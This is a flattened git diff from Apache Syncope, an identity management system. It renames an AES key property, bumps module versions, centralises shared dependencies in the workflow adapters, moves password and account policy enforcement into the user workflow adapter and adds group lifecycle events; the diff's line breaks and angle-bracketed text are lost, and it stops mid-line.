security.jwsKey=${jwsKey} -security.secretKey=${secretKey} +# Key length drives AES algorithm variant selection: +# +# * 16 chars => AES-128 +# * 24 chars => AES-192 +# * 32 chars => AES-256 +# +# Shorter keys will be padded to the nearest longer option available; keys > 32 will be trucated +security.aesSecretKey=${secretKey} + +security.groovyBlacklist=classpath:META-INF/groovy.blacklist # default for LDAP / RFC2307 SSHA security.digester.saltIterations=1 diff --git a/core/workflow-api/pom.xml b/core/workflow-api/pom.xml index 421413ef367..4c2e1aea0fc 100644 --- a/core/workflow-api/pom.xml +++ b/core/workflow-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-core - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core Workflow API diff --git a/core/workflow-api/src/main/java/org/apache/syncope/core/workflow/api/UserWorkflowAdapter.java b/core/workflow-api/src/main/java/org/apache/syncope/core/workflow/api/UserWorkflowAdapter.java index 6dfcbeb9381..288d61e1dc4 100644 --- a/core/workflow-api/src/main/java/org/apache/syncope/core/workflow/api/UserWorkflowAdapter.java +++ b/core/workflow-api/src/main/java/org/apache/syncope/core/workflow/api/UserWorkflowAdapter.java @@ -28,6 +28,10 @@ */ public interface UserWorkflowAdapter extends WorkflowAdapter { + String REQUEST_PASSWORD_RESET = "requestPasswordReset"; + + String CONFIRM_PASSWORD_RESET = "confirmPasswordReset"; + /** * Create an user. * @@ -66,11 +70,12 @@ UserWorkflowResult> create( * Update an user. * * @param userUR modification set to be performed + * @param enabled whether status shall be changed or not * @param updater username that requested this operation * @param context context information * @return user just updated and propagations to be performed */ - UserWorkflowResult> update(UserUR userUR, String updater, String context); + UserWorkflowResult> update(UserUR userUR, Boolean enabled, String updater, String context); /** * Suspend an user. diff --git a/core/workflow-java/pom.xml b/core/workflow-java/pom.xml index 87cb73b6ffc..5acb87686d5 100644 --- a/core/workflow-java/pom.xml +++ b/core/workflow-java/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-core - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core Workflow Java @@ -57,6 +57,39 @@ under the License. syncope-core-spring ${project.version} + + + + org.apache.syncope.core + syncope-core-persistence-jpa + ${project.version} + test + + + org.slf4j + slf4j-simple + test + + + com.h2database + h2 + test + + + org.springframework + spring-test + test + + + org.mockito + mockito-core + test + + + org.junit.jupiter + junit-jupiter + test + @@ -66,5 +99,29 @@ under the License. maven-checkstyle-plugin + + + + src/main/resources + true + + + + + src/test/resources + true + + + ${basedir}/../persistence-jpa/src/main/resources + + persistence.properties + + true + + + ${basedir}/../persistence-jpa/src/test/resources + true + + diff --git a/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/AbstractAnyObjectWorkflowAdapter.java b/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/AbstractAnyObjectWorkflowAdapter.java index b8f6d0b68ce..35158dca12d 100644 --- a/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/AbstractAnyObjectWorkflowAdapter.java +++ b/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/AbstractAnyObjectWorkflowAdapter.java @@ -20,17 +20,26 @@ import java.util.Collections; import java.util.HashSet; +import java.util.Objects; import java.util.Set; +import java.util.stream.Collectors; import org.apache.syncope.common.lib.request.AnyObjectCR; import org.apache.syncope.common.lib.request.AnyObjectUR; +import org.apache.syncope.common.lib.request.MembershipUR; import org.apache.syncope.common.lib.types.AnyEntitlement; import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.entity.EntityFactory; +import org.apache.syncope.core.persistence.api.entity.anyobject.AMembership; import org.apache.syncope.core.persistence.api.entity.anyobject.AnyObject; +import org.apache.syncope.core.persistence.api.entity.group.Group; import org.apache.syncope.core.provisioning.api.WorkflowResult; import org.apache.syncope.core.provisioning.api.data.AnyObjectDataBinder; +import org.apache.syncope.core.provisioning.api.event.EntityLifecycleEvent; import org.apache.syncope.core.spring.security.AuthContextUtils; import org.apache.syncope.core.workflow.api.AnyObjectWorkflowAdapter; +import org.identityconnectors.framework.common.objects.SyncDeltaType; +import org.springframework.context.ApplicationEventPublisher; import org.springframework.transaction.annotation.Propagation; import org.springframework.transaction.annotation.Transactional; @@ -42,16 +51,16 @@ public abstract class AbstractAnyObjectWorkflowAdapter protected final AnyObjectDAO anyObjectDAO; - protected final EntityFactory entityFactory; - public AbstractAnyObjectWorkflowAdapter( final AnyObjectDataBinder dataBinder, final AnyObjectDAO anyObjectDAO, - final EntityFactory entityFactory) { + final GroupDAO groupDAO, + final EntityFactory entityFactory, + final ApplicationEventPublisher publisher) { + super(groupDAO, entityFactory, publisher); this.dataBinder = dataBinder; this.anyObjectDAO = anyObjectDAO; - this.entityFactory = entityFactory; } @Override @@ -63,7 +72,15 @@ public String getPrefix() { @Override public WorkflowResult create(final AnyObjectCR anyObjectCR, final String creator, final String context) { - return doCreate(anyObjectCR, creator, context); + WorkflowResult result = doCreate(anyObjectCR, creator, context); + + AnyObject anyObject = anyObjectDAO.find(result.getResult()); + + // finally publish events for all groups affected by this operation, via membership + anyObject.getMemberships().stream().forEach(m -> publisher.publishEvent( + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, m.getRightEnd(), AuthContextUtils.getDomain()))); + + return result; } protected abstract WorkflowResult doUpdate( @@ -89,6 +106,12 @@ public WorkflowResult update( anyObject.getRealm().getFullPath(), anyObjectDAO.findAllGroupKeys(anyObject)); + // finally publish events for all groups affected by this operation, via membership + result.getResult().getMemberships().stream().map(MembershipUR::getGroup).distinct(). + map(groupDAO::find).filter(Objects::nonNull). + forEach(group -> publisher.publishEvent(new EntityLifecycleEvent<>( + this, SyncDeltaType.UPDATE, group, AuthContextUtils.getDomain()))); + return result; } @@ -96,6 +119,15 @@ public WorkflowResult update( @Override public void delete(final String anyObjectKey, final String eraser, final String context) { - doDelete(anyObjectDAO.authFind(anyObjectKey), eraser, context); + AnyObject anyObject = anyObjectDAO.authFind(anyObjectKey); + + Set groups = anyObject.getMemberships().stream(). + map(AMembership::getRightEnd).collect(Collectors.toSet()); + + doDelete(anyObject, eraser, context); + + // finally publish events for all groups affected by this operation, via membership + groups.forEach(group -> publisher.publishEvent(new EntityLifecycleEvent<>( + this, SyncDeltaType.UPDATE, group, AuthContextUtils.getDomain()))); } } diff --git a/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/AbstractGroupWorkflowAdapter.java b/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/AbstractGroupWorkflowAdapter.java index 50a700ea95d..9bdda4cf98f 100644 --- a/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/AbstractGroupWorkflowAdapter.java +++ b/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/AbstractGroupWorkflowAdapter.java @@ -26,6 +26,7 @@ import org.apache.syncope.core.provisioning.api.WorkflowResult; import org.apache.syncope.core.provisioning.api.data.GroupDataBinder; import org.apache.syncope.core.workflow.api.GroupWorkflowAdapter; +import org.springframework.context.ApplicationEventPublisher; import org.springframework.transaction.annotation.Propagation; import org.springframework.transaction.annotation.Transactional; @@ -34,18 +35,15 @@ public abstract class AbstractGroupWorkflowAdapter extends AbstractWorkflowAdapt protected final GroupDataBinder dataBinder; - protected final GroupDAO groupDAO; - - protected final EntityFactory entityFactory; - public AbstractGroupWorkflowAdapter( final GroupDataBinder dataBinder, final GroupDAO groupDAO, - final EntityFactory entityFactory) { + final EntityFactory entityFactory, + final ApplicationEventPublisher publisher) { + + super(groupDAO, entityFactory, publisher); this.dataBinder = dataBinder; - this.groupDAO = groupDAO; - this.entityFactory = entityFactory; } @Override diff --git a/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/AbstractUserWorkflowAdapter.java b/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/AbstractUserWorkflowAdapter.java index eb9e21eb1f5..23eb74031af 100644 --- a/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/AbstractUserWorkflowAdapter.java +++ b/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/AbstractUserWorkflowAdapter.java @@ -19,20 +19,45 @@ package org.apache.syncope.core.workflow.java; import java.util.HashSet; +import java.util.List; +import java.util.Objects; +import java.util.Optional; import java.util.Set; +import java.util.stream.Collectors; import org.apache.commons.lang3.tuple.Pair; +import org.apache.syncope.common.lib.request.MembershipUR; +import org.apache.syncope.common.lib.request.PasswordPatch; import org.apache.syncope.common.lib.request.UserCR; import org.apache.syncope.common.lib.request.UserUR; +import org.apache.syncope.common.lib.types.EntityViolationType; import org.apache.syncope.common.lib.types.IdRepoEntitlement; +import org.apache.syncope.common.lib.types.ResourceOperation; +import org.apache.syncope.core.persistence.api.attrvalue.validation.InvalidEntityException; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.apache.syncope.core.persistence.api.entity.Entity; import org.apache.syncope.core.persistence.api.entity.EntityFactory; +import org.apache.syncope.core.persistence.api.entity.group.Group; +import org.apache.syncope.core.persistence.api.entity.policy.AccountPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.PasswordPolicy; +import org.apache.syncope.core.persistence.api.entity.user.UMembership; import org.apache.syncope.core.persistence.api.entity.user.User; +import org.apache.syncope.core.provisioning.api.PropagationByResource; import org.apache.syncope.core.provisioning.api.UserWorkflowResult; import org.apache.syncope.core.provisioning.api.data.UserDataBinder; +import org.apache.syncope.core.provisioning.api.event.EntityLifecycleEvent; +import org.apache.syncope.core.provisioning.api.rules.RuleEnforcer; +import org.apache.syncope.core.spring.policy.AccountPolicyException; +import org.apache.syncope.core.spring.policy.PasswordPolicyException; import org.apache.syncope.core.spring.security.AuthContextUtils; +import org.apache.syncope.core.spring.security.Encryptor; +import org.apache.syncope.core.spring.security.SecurityProperties; import org.apache.syncope.core.workflow.api.UserWorkflowAdapter; +import org.identityconnectors.framework.common.objects.SyncDeltaType; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.context.ApplicationEventPublisher; import org.springframework.transaction.annotation.Propagation; import org.springframework.transaction.annotation.Transactional; @@ -45,16 +70,29 @@ public abstract class AbstractUserWorkflowAdapter extends AbstractWorkflowAdapte protected final UserDAO userDAO; - protected final EntityFactory entityFactory; + protected final RealmDAO realmDAO; + + protected final SecurityProperties securityProperties; + + protected final RuleEnforcer ruleEnforcer; public AbstractUserWorkflowAdapter( final UserDataBinder dataBinder, final UserDAO userDAO, - final EntityFactory entityFactory) { + final RealmDAO realmDAO, + final GroupDAO groupDAO, + final EntityFactory entityFactory, + final SecurityProperties securityProperties, + final RuleEnforcer ruleEnforcer, + final ApplicationEventPublisher publisher) { + + super(groupDAO, entityFactory, publisher); this.dataBinder = dataBinder; this.userDAO = userDAO; - this.entityFactory = entityFactory; + this.realmDAO = realmDAO; + this.securityProperties = securityProperties; + this.ruleEnforcer = ruleEnforcer; } @Override @@ -62,6 +100,128 @@ public String getPrefix() { return null; } + protected Pair enforcePolicies( + final User user, + final boolean disablePwdPolicyCheck, + final String clearPassword) { + + if (!disablePwdPolicyCheck) { + // ------------------------------ + // Verify password policies + // ------------------------------ + LOG.debug("Password Policy enforcement"); + + try { + int maxPPSpecHistory = 0; + for (PasswordPolicy policy : ruleEnforcer.getPasswordPolicies( + user.getRealm(), userDAO.findAllResources(user))) { + + if (clearPassword == null && !policy.isAllowNullPassword()) { + throw new PasswordPolicyException("Password mandatory"); + } + + ruleEnforcer.getPasswordRules(policy).forEach(rule -> { + rule.enforce(user, clearPassword); + + user.getLinkedAccounts().stream(). + filter(account -> account.getPassword() != null). + forEach(rule::enforce); + }); + + boolean matching = false; + if (policy.getHistoryLength() > 0) { + List pwdHistory = user.getPasswordHistory(); + matching = pwdHistory.subList(policy.getHistoryLength() >= pwdHistory.size() + ? 0 + : pwdHistory.size() - policy.getHistoryLength(), pwdHistory.size()).stream(). + map(old -> Encryptor.getInstance().verify( + clearPassword, user.getCipherAlgorithm(), old)). + reduce(matching, (accumulator, item) -> accumulator | item); + } + if (matching) { + throw new PasswordPolicyException("Password value was used in the past: not allowed"); + } + + if (policy.getHistoryLength() > maxPPSpecHistory) { + maxPPSpecHistory = policy.getHistoryLength(); + } + } + + // update user's password history with encrypted password + if (maxPPSpecHistory > 0 + && user.getPassword() != null + && !user.getPasswordHistory().contains(user.getPassword())) { + + user.addToPasswordHistory(user.getPassword()); + } + // keep only the last maxPPSpecHistory items in user's password history + if (maxPPSpecHistory < user.getPasswordHistory().size()) { + user.removeOldestEntriesFromPasswordHistory(user.getPasswordHistory().size() - maxPPSpecHistory); + } + } catch (InvalidEntityException e) { + throw e; + } catch (Exception e) { + LOG.error("Invalid password for {}", user, e); + throw new InvalidEntityException(User.class, EntityViolationType.InvalidPassword, e.getMessage()); + } + } + + // ------------------------------ + // Verify account policies + // ------------------------------ + LOG.debug("Account Policy enforcement"); + + boolean suspend = false; + boolean propagateSuspension = false; + try { + if (user.getUsername() == null) { + throw new AccountPolicyException("Null username"); + } + + if (securityProperties.getAdminUser().equals(user.getUsername()) + || securityProperties.getAnonymousUser().equals(user.getUsername())) { + + throw new AccountPolicyException("Not allowed: " + user.getUsername()); + } + + List accountPolicies = + ruleEnforcer.getAccountPolicies(user.getRealm(), userDAO.findAllResources(user)); + if (accountPolicies.isEmpty()) { + if (!Entity.ID_PATTERN.matcher(user.getUsername()).matches()) { + throw new AccountPolicyException("Character(s) not allowed: " + user.getUsername()); + } + user.getLinkedAccounts().stream(). + filter(account -> account.getUsername() != null). + forEach(account -> { + if (!Entity.ID_PATTERN.matcher(account.getUsername()).matches()) { + throw new AccountPolicyException("Character(s) not allowed: " + account.getUsername()); + } + }); + } else { + for (AccountPolicy policy : accountPolicies) { + ruleEnforcer.getAccountRules(policy).forEach(rule -> { + rule.enforce(user); + + user.getLinkedAccounts().stream(). + filter(account -> account.getUsername() != null). + forEach(rule::enforce); + }); + + suspend |= user.getFailedLogins() != null && policy.getMaxAuthenticationAttempts() > 0 + && user.getFailedLogins() > policy.getMaxAuthenticationAttempts() && !user.isSuspended(); + propagateSuspension |= policy.isPropagateSuspension(); + } + } + } catch (InvalidEntityException e) { + throw e; + } catch (Exception e) { + LOG.error("Invalid username for {}", user, e); + throw new InvalidEntityException(User.class, EntityViolationType.InvalidUsername, e.getMessage()); + } + + return Pair.of(suspend, propagateSuspension); + } + @Override public UserWorkflowResult> create( final UserCR userCR, final String creator, final String context) { @@ -80,7 +240,19 @@ public UserWorkflowResult> create( final String creator, final String context) { - return doCreate(userCR, disablePwdPolicyCheck, enabled, creator, context); + UserWorkflowResult> result = + doCreate(userCR, disablePwdPolicyCheck, enabled, creator, context); + + // enforce password and account policies + User user = userDAO.find(result.getResult().getKey()); + enforcePolicies(user, disablePwdPolicyCheck, disablePwdPolicyCheck ? null : userCR.getPassword()); + user = userDAO.save(user); + + // finally publish events for all groups affected by this operation, via membership + user.getMemberships().stream().forEach(m -> publisher.publishEvent( + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, m.getRightEnd(), AuthContextUtils.getDomain()))); + + return result; } protected abstract UserWorkflowResult doActivate(User user, String token, String updater, String context); @@ -97,12 +269,61 @@ protected abstract UserWorkflowResult> doUpdate( @Override public UserWorkflowResult> update( - final UserUR userUR, final String updater, final String context) { - - UserWorkflowResult> result = doUpdate( - userDAO.authFind(userUR.getKey()), userUR, updater, context); + final UserUR userUR, final Boolean enabled, final String updater, final String context) { User user = userDAO.find(userUR.getKey()); + + UserWorkflowResult> result; + // skip actual workflow operations in case only password change on resources was requested + if (userUR.isEmptyButPassword() && !userUR.getPassword().isOnSyncope()) { + PropagationByResource propByRes = new PropagationByResource<>(); + userDAO.findAllResources(user).stream(). + filter(resource -> userUR.getPassword().getResources().contains(resource.getKey())). + forEach(resource -> propByRes.add(ResourceOperation.UPDATE, resource.getKey())); + + PropagationByResource> propByLinkedAccount = new PropagationByResource<>(); + user.getLinkedAccounts().stream(). + filter(account -> userUR.getPassword().getResources().contains(account.getResource().getKey())). + forEach(account -> propByLinkedAccount.add( + ResourceOperation.UPDATE, + Pair.of(account.getResource().getKey(), account.getConnObjectKeyValue()))); + + result = new UserWorkflowResult<>( + Pair.of(userUR, !user.isSuspended()), propByRes, propByLinkedAccount, "update"); + } else { + result = doUpdate(userDAO.authFind(userUR.getKey()), userUR, updater, context); + } + + // enforce password and account policies + enforcePolicies( + user, + userUR.getPassword() == null && userUR.getLinkedAccounts().stream() + .allMatch(linkedAccountUR -> linkedAccountUR.getLinkedAccountTO().getPassword() == null), + Optional.ofNullable(userUR.getPassword()).map(PasswordPatch::getValue).orElse(null)); + user = userDAO.save(user); + + if (enabled != null) { + UserWorkflowResult enableUpdate = null; + if (user.isSuspended() == null) { + enableUpdate = activate(userUR.getKey(), null, updater, context); + result.setResult(Pair.of(result.getResult().getLeft(), true)); + } else if (enabled && user.isSuspended()) { + enableUpdate = reactivate(userUR.getKey(), updater, context); + result.setResult(Pair.of(result.getResult().getLeft(), true)); + } else if (!enabled && !user.isSuspended()) { + enableUpdate = suspend(userUR.getKey(), updater, context); + result.setResult(Pair.of(result.getResult().getLeft(), false)); + } + + Optional.ofNullable(enableUpdate).ifPresent(eu -> { + Optional.ofNullable(eu.getPropByRes()).ifPresent(eupbr -> { + result.getPropByRes().merge(eupbr); + result.getPropByRes().purge(); + }); + result.getPerformedTasks().addAll(eu.getPerformedTasks()); + }); + } + if (!AuthContextUtils.getUsername().equals(user.getUsername())) { // ensure that requester's administration rights are still valid Set authRealms = new HashSet<>(); @@ -117,6 +338,12 @@ public UserWorkflowResult> update( userDAO.findAllGroupKeys(user)); } + // finally publish events for all groups affected by this operation, via membership + result.getResult().getLeft().getMemberships().stream().map(MembershipUR::getGroup).distinct(). + map(groupDAO::find).filter(Objects::nonNull). + forEach(group -> publisher.publishEvent(new EntityLifecycleEvent<>( + this, SyncDeltaType.UPDATE, group, AuthContextUtils.getDomain()))); + return result; } @@ -140,7 +367,7 @@ public Pair, Boolean> internalSuspend( Pair, Boolean> result = null; - Pair enforce = userDAO.enforcePolicies(user); + Pair enforce = enforcePolicies(user, true, null); if (enforce.getKey()) { LOG.debug("User {} {} is over the max failed logins", user.getKey(), user.getUsername()); @@ -185,13 +412,28 @@ protected abstract UserWorkflowResult> doConfirmPasswordRe public UserWorkflowResult> confirmPasswordReset( final String key, final String token, final String password, final String updater, final String context) { - return doConfirmPasswordReset(userDAO.authFind(key), token, password, updater, context); + User user = userDAO.authFind(key); + + // enforce password and account policies + enforcePolicies(user, false, password); + user = userDAO.save(user); + + return doConfirmPasswordReset(user, token, password, updater, context); } protected abstract void doDelete(User user, String eraser, String context); @Override public void delete(final String userKey, final String eraser, final String context) { - doDelete(userDAO.authFind(userKey), eraser, context); + User user = userDAO.authFind(userKey); + + Set groups = user.getMemberships().stream(). + map(UMembership::getRightEnd).collect(Collectors.toSet()); + + doDelete(user, eraser, context); + + // finally publish events for all groups affected by this operation, via membership + groups.forEach(group -> publisher.publishEvent(new EntityLifecycleEvent<>( + this, SyncDeltaType.UPDATE, group, AuthContextUtils.getDomain()))); } } diff --git a/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/AbstractWorkflowAdapter.java b/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/AbstractWorkflowAdapter.java index 3f87fb39bd5..c27649ce2aa 100644 --- a/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/AbstractWorkflowAdapter.java +++ b/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/AbstractWorkflowAdapter.java @@ -19,10 +19,29 @@ package org.apache.syncope.core.workflow.java; import java.time.OffsetDateTime; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.entity.Any; +import org.apache.syncope.core.persistence.api.entity.EntityFactory; +import org.springframework.context.ApplicationEventPublisher; public abstract class AbstractWorkflowAdapter { + protected final GroupDAO groupDAO; + + protected final EntityFactory entityFactory; + + protected final ApplicationEventPublisher publisher; + + protected AbstractWorkflowAdapter( + final GroupDAO groupDAO, + final EntityFactory entityFactory, + final ApplicationEventPublisher publisher) { + + this.groupDAO = groupDAO; + this.entityFactory = entityFactory; + this.publisher = publisher; + } + protected void metadata(final Any any, final String who, final String context) { OffsetDateTime now = OffsetDateTime.now(); diff --git a/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultAnyObjectWorkflowAdapter.java b/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultAnyObjectWorkflowAdapter.java index f9c93bf1b80..2f787eae1ab 100644 --- a/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultAnyObjectWorkflowAdapter.java +++ b/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultAnyObjectWorkflowAdapter.java @@ -22,12 +22,13 @@ import org.apache.syncope.common.lib.request.AnyObjectUR; import org.apache.syncope.common.lib.types.ResourceOperation; import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.entity.EntityFactory; import org.apache.syncope.core.persistence.api.entity.anyobject.AnyObject; import org.apache.syncope.core.provisioning.api.PropagationByResource; import org.apache.syncope.core.provisioning.api.WorkflowResult; import org.apache.syncope.core.provisioning.api.data.AnyObjectDataBinder; -import org.apache.syncope.core.provisioning.api.event.AnyLifecycleEvent; +import org.apache.syncope.core.provisioning.api.event.EntityLifecycleEvent; import org.apache.syncope.core.spring.security.AuthContextUtils; import org.identityconnectors.framework.common.objects.SyncDeltaType; import org.springframework.context.ApplicationEventPublisher; @@ -37,16 +38,14 @@ */ public class DefaultAnyObjectWorkflowAdapter extends AbstractAnyObjectWorkflowAdapter { - protected final ApplicationEventPublisher publisher; - public DefaultAnyObjectWorkflowAdapter( final AnyObjectDataBinder dataBinder, final AnyObjectDAO anyObjectDAO, + final GroupDAO groupDAO, final EntityFactory entityFactory, final ApplicationEventPublisher publisher) { - super(dataBinder, anyObjectDAO, entityFactory); - this.publisher = publisher; + super(dataBinder, anyObjectDAO, groupDAO, entityFactory, publisher); } @Override @@ -59,7 +58,7 @@ protected WorkflowResult doCreate( anyObject = anyObjectDAO.save(anyObject); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.CREATE, anyObject, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.CREATE, anyObject, AuthContextUtils.getDomain())); PropagationByResource propByRes = new PropagationByResource<>(); propByRes.set(ResourceOperation.CREATE, anyObjectDAO.findAllResourceKeys(anyObject.getKey())); @@ -75,8 +74,8 @@ protected WorkflowResult doUpdate( metadata(anyObject, updater, context); AnyObject updated = anyObjectDAO.save(anyObject); - publisher.publishEvent(new AnyLifecycleEvent<>( - this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); + publisher.publishEvent( + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); return new WorkflowResult<>(anyObjectUR, propByRes, "update"); } @@ -86,6 +85,6 @@ protected void doDelete(final AnyObject anyObject, final String eraser, final St anyObjectDAO.delete(anyObject); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.DELETE, anyObject, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.DELETE, anyObject, AuthContextUtils.getDomain())); } } diff --git a/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultGroupWorkflowAdapter.java b/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultGroupWorkflowAdapter.java index 197f7b82d99..2cab7cdd42b 100644 --- a/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultGroupWorkflowAdapter.java +++ b/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultGroupWorkflowAdapter.java @@ -27,7 +27,7 @@ import org.apache.syncope.core.provisioning.api.PropagationByResource; import org.apache.syncope.core.provisioning.api.WorkflowResult; import org.apache.syncope.core.provisioning.api.data.GroupDataBinder; -import org.apache.syncope.core.provisioning.api.event.AnyLifecycleEvent; +import org.apache.syncope.core.provisioning.api.event.EntityLifecycleEvent; import org.apache.syncope.core.spring.security.AuthContextUtils; import org.identityconnectors.framework.common.objects.SyncDeltaType; import org.springframework.context.ApplicationEventPublisher; @@ -37,16 +37,13 @@ */ public class DefaultGroupWorkflowAdapter extends AbstractGroupWorkflowAdapter { - protected final ApplicationEventPublisher publisher; - public DefaultGroupWorkflowAdapter( final GroupDataBinder dataBinder, final GroupDAO groupDAO, final EntityFactory entityFactory, final ApplicationEventPublisher publisher) { - super(dataBinder, groupDAO, entityFactory); - this.publisher = publisher; + super(dataBinder, groupDAO, entityFactory, publisher); } @Override @@ -57,7 +54,7 @@ protected WorkflowResult doCreate(final GroupCR groupCR, final String cr group = groupDAO.saveAndRefreshDynMemberships(group); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.CREATE, group, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.CREATE, group, AuthContextUtils.getDomain())); PropagationByResource propByRes = new PropagationByResource<>(); propByRes.set(ResourceOperation.CREATE, groupDAO.findAllResourceKeys(group.getKey())); @@ -73,8 +70,8 @@ protected WorkflowResult doUpdate( metadata(group, updater, context); Group updated = groupDAO.save(group); - publisher.publishEvent(new AnyLifecycleEvent<>( - this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); + publisher.publishEvent( + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); return new WorkflowResult<>(groupUR, propByRes, "update"); } @@ -84,6 +81,6 @@ protected void doDelete(final Group group, final String eraser, final String con groupDAO.delete(group); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.DELETE, group, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.DELETE, group, AuthContextUtils.getDomain())); } } diff --git a/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultUserWorkflowAdapter.java b/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultUserWorkflowAdapter.java index 4b612905b5b..36af3b22710 100644 --- a/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultUserWorkflowAdapter.java +++ b/core/workflow-java/src/main/java/org/apache/syncope/core/workflow/java/DefaultUserWorkflowAdapter.java @@ -23,15 +23,21 @@ import org.apache.syncope.common.lib.request.PasswordPatch; import org.apache.syncope.common.lib.request.UserCR; import org.apache.syncope.common.lib.request.UserUR; +import org.apache.syncope.common.lib.types.AuditElements; import org.apache.syncope.common.lib.types.ResourceOperation; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.entity.EntityFactory; import org.apache.syncope.core.persistence.api.entity.user.User; import org.apache.syncope.core.provisioning.api.PropagationByResource; import org.apache.syncope.core.provisioning.api.UserWorkflowResult; import org.apache.syncope.core.provisioning.api.data.UserDataBinder; -import org.apache.syncope.core.provisioning.api.event.AnyLifecycleEvent; +import org.apache.syncope.core.provisioning.api.event.EntityLifecycleEvent; +import org.apache.syncope.core.provisioning.api.notification.NotificationManager; +import org.apache.syncope.core.provisioning.api.rules.RuleEnforcer; import org.apache.syncope.core.spring.security.AuthContextUtils; +import org.apache.syncope.core.spring.security.SecurityProperties; import org.apache.syncope.core.workflow.api.WorkflowException; import org.identityconnectors.framework.common.objects.SyncDeltaType; import org.springframework.context.ApplicationEventPublisher; @@ -43,18 +49,23 @@ public class DefaultUserWorkflowAdapter extends AbstractUserWorkflowAdapter { protected final ConfParamOps confParamOps; - protected final ApplicationEventPublisher publisher; + protected final NotificationManager notificationManager; public DefaultUserWorkflowAdapter( final UserDataBinder dataBinder, final UserDAO userDAO, + final RealmDAO realmDAO, + final GroupDAO groupDAO, final EntityFactory entityFactory, + final SecurityProperties securityProperties, + final RuleEnforcer ruleEnforcer, final ConfParamOps confParamOps, - final ApplicationEventPublisher publisher) { + final ApplicationEventPublisher publisher, + final NotificationManager notificationManager) { - super(dataBinder, userDAO, entityFactory); + super(dataBinder, userDAO, realmDAO, groupDAO, entityFactory, securityProperties, ruleEnforcer, publisher); this.confParamOps = confParamOps; - this.publisher = publisher; + this.notificationManager = notificationManager; } @Override @@ -68,11 +79,6 @@ protected UserWorkflowResult> doCreate( User user = entityFactory.newEntity(User.class); dataBinder.create(user, userCR); - // this will make UserValidator not to consider password policies at all - if (disablePwdPolicyCheck) { - user.removeClearPassword(); - } - String status; boolean propagateEnable; if (enabled == null) { @@ -91,7 +97,7 @@ protected UserWorkflowResult> doCreate( user = userDAO.save(user); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.CREATE, user, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.CREATE, user, AuthContextUtils.getDomain())); PropagationByResource propByRes = new PropagationByResource<>(); propByRes.set(ResourceOperation.CREATE, userDAO.findAllResourceKeys(user.getKey())); @@ -122,7 +128,7 @@ protected UserWorkflowResult doActivate( User updated = userDAO.save(user); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); return new UserWorkflowResult<>(updated.getKey(), null, null, "activate"); } @@ -137,8 +143,8 @@ protected UserWorkflowResult> doUpdate( metadata(user, 